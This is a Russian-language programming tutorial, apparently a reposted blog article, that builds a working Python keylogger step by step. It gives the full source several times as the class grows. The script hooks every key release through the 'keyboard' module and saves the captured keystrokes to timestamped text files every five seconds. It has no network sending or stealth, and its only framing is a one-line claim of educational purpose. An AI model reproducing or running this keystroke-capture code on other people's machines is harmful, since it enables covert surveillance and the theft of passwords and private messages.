Введение
В данной статье напишем код кейлоггера на языке программирования Python.
Наша цель – ознакомить Вас с этими типами скриптов в образовательных целях.
Кейлоггер на Python
Для написания кейлоггера нам понадобится модуль keyboard, чтобы считывать нажатия клавиш. Для его установки нужно перейти в терминал, или же командную строку, прописать pip install keyboard, нажать Enter и ждать установки.
После инсталляции модуля keyboard импортируем всё, что нам понадобится для написания кода:
import keyboard
from threading import Timer
from datetime import datetime
Добавим константу SEND_REPORT_EVERY для хранения интервала сохранения в секундах.
Лучше конечно указывать интервал побольше, но в качестве примера укажем 5 секунд:
import keyboard
from threading import Timer
from datetime import datetime
SEND_REPORT_EVERY = 5
Создадим класс Keylogger. В __init__ добавим параметр interval. Добавим переменную interval, переменную log, которая будет хранить логи. В start_dt и end_dt мы будем сохранять начало срабатывания, и окончание соответственно:
import keyboard
from threading import Timer
from datetime import datetime
SEND_REPORT_EVERY = 5
class Keylogger:
def __init__(self, interval):
self.interval = interval
self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()
Добавим метод callback() для записи нажатий на клавиши клавиатуры. Внутри него будет условие для проверки специальных клавиш.
import keyboard
from threading import Timer
from datetime import datetime
SEND_REPORT_EVERY = 5
class Keylogger:
def __init__(self, interval):
self.interval = interval
self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()
def callback(self, event):
name = event.name
if len(name) > 1:
# Если мы нажимаем на пробел, который именуется как space, то мы её заменяем на обычный пробел
if name == "space":
name = " "
# Если встречается нажатие на клавишу ENTER, то покажем её в верхнем регистре и выделим скобочками
elif name == "enter":
name = "[ENTER]\n"
# Если встречается нажатие на клавишу delete на NumPad, то покажем её как точку
elif name == "decimal":
name = "."
Заменим пробелы спец клавиш символами подчеркивания и добавим имя ключа в лог:
import keyboard
from threading import Timer
from datetime import datetime
SEND_REPORT_EVERY = 5
class Keylogger:
def __init__(self, interval):
self.interval = interval
self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()
def callback(self, event):
name = event.name
if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
# Заменим пробелы спец клавиш символами подчеркивания
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
# Добавим имя ключа в лог
self.log += name
Теперь создадим метод update_filename(), внутри которого будет создаваться название txt файла из даты начала и окончания записи:
import keyboard
from threading import Timer
from datetime import datetime
SEND_REPORT_EVERY = 5
class Keylogger:
def __init__(self, interval):
self.interval = interval
self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()
def callback(self, event):
name = event.name
if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
self.log += name
def update_filename(self):
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"
Далее создадим метод report_to_file(), внутри которого напишем код создания нового txt файла и записи в него нажатий логов:
import keyboard
from threading import Timer
from datetime import datetime
SEND_REPORT_EVERY = 5
class Keylogger:
def __init__(self, interval):
self.interval = interval
self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()
def callback(self, event):
name = event.name
if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
self.log += name
def update_filename(self):
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"
def report_to_file(self):
# создать файл
with open(f"{self.filename}.txt", "w") as f:
# записать лог
print(self.log, file=f)
print(f"Сохранение {self.filename}.txt")
Создадим метод report(), предназначенный для сохранения txt файла с логами, если есть что сохранять, а также для запуска метода start(), который мы добавим следующим.
import keyboard
from threading import Timer
from datetime import datetime
SEND_REPORT_EVERY = 5
class Keylogger:
def __init__(self, interval):
self.interval = interval
self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()
def callback(self, event):
name = event.name
if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
self.log += name
def update_filename(self):
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"
def report_to_file(self):
with open(f"{self.filename}.txt", "w") as f:
print(self.log, file=f)
print(f"Сохранение {self.filename}.txt")
def report(self):
if self.log:
self.end_dt = datetime.now()
# обновить `self.filename`
self.update_filename()
self.report_to_file()
self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
timer.daemon = True
# старт
timer.start()
И последний метод, который нам нужно создать назовём start(). Внутри данного метода будет сохраняться дата и время запуска и включаться сам кейлоггер:
import keyboard
from threading import Timer
from datetime import datetime
SEND_REPORT_EVERY = 5
class Keylogger:
def __init__(self, interval):
self.interval = interval
self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()
def callback(self, event):
name = event.name
if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
# Заменим пробелы спец клавиш символами подчеркивания
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
# Добавим имя ключа в лог
self.log += name
def update_filename(self):
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"
def report_to_file(self):
with open(f"{self.filename}.txt", "w") as f:
print(self.log, file=f)
print(f"Сохранение {self.filename}.txt")
def report(self):
if self.log:
self.end_dt = datetime.now()
self.update_filename()
self.report_to_file()
self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
timer.daemon = True
timer.start()
def start(self):
# Записать дату и время начала
self.start_dt = datetime.now()
keyboard.on_release(callback=self.callback)
self.report()
keyboard.wait()
if __name__ == "__main__":
# Запустим кейлоггер
Keylogger(interval=SEND_REPORT_EVERY).start()
Заключение
В ходе статьи мы с Вами написали код кейлоггера, и разобрали как он работает. Надеюсь Вам понравилась статья, желаю удачи и успехов! 🙂
Оригинал статьи - Кейлоггер на Python
Мой Telegram канал
Мой YouTube канал